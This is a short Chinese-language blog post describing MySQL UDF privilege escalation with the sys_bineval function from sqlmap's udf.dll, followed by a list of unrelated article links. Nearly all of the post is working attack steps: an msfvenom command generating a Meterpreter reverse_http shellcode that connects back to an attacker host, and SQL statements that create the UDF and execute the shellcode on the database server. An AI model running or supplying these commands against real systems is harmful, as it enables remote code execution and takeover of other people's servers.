mysql UDF提权 sys_bineval
2024-10-21 05:34:22
介绍:
执行shellcode – sys_bineval
sqmapl自带udf.dll中存在函数’sys_bineval,执行shellcode – sys_bineval
利用:
MSF生成shellcode:
msfvenom -p windows/meterpreter/reverse_http EXITFUNC=thread LPORT=8080 LHOST=172.16.229.139 -a x86 -e x86/alpha_mixed -f raw BufferRegister=EAX > test.txt ;cat test.txt |xxd -c 9999 -ps
mysql执行:
创建函数:create function sys_bineval returns int soname 'udf.dll';
测试执行:select sys_bineval("whoami")
执行shellcode
select sys_bineval(0x.........);
最新文章
- Javascript读写文件
- Ubuntu 使用phpmyadmin,报错#1146 - Table ‘phpmyadmin.pma_table_uiprefs' doesn't exist
- ionic2 图片上传
- 低版本的xcode打开xcode8上的xib错误
- UVa 455 	Periodic Strings
- kvo原理概述
- Linux 查看系统硬件信息(实例详解)
- EasyInvoice 简介
- Maven 添加Jetty
- 随想录(移动app下的生活)
- net.sf.json 迄今 时刻 格式 办法
- jQuery选择表格中的列
- Go语言极速入门手册
- Confluence 6 内存使用和需求和一些问题
- python os.path.join()
- learning scala read from file
- [转] 高频 mos 选择需要考虑相关资料
- <;基础>; PHP 文件、目录操作
- form表单序列化为json格式数据
- Android ConstraintLayout详解(from jianshu)
热门文章
- MDK中问题:warning : type qualifier is meaningless on cast type return 的解决
- 【C++】清空一个C++栈的快速方法
- 高级UI晋升之View渲染机制(二)
- 8.1_springboot2.x之Actuator应用监控
- eduCF#61 C. Painting the Fence /// DP 选取k段能覆盖的格数
- POJ 2135 /// 最小费用流最大流 非负花费 BellmanFord模板
- springboot + zipkin + mysql
- 微信小程序开发显示城市天气
- 转载:vs2010 问题 >LINK : fatal error LNK1123: 转换到 COFF 期间失败: 文件无效或损坏
- 读书笔记五--numpy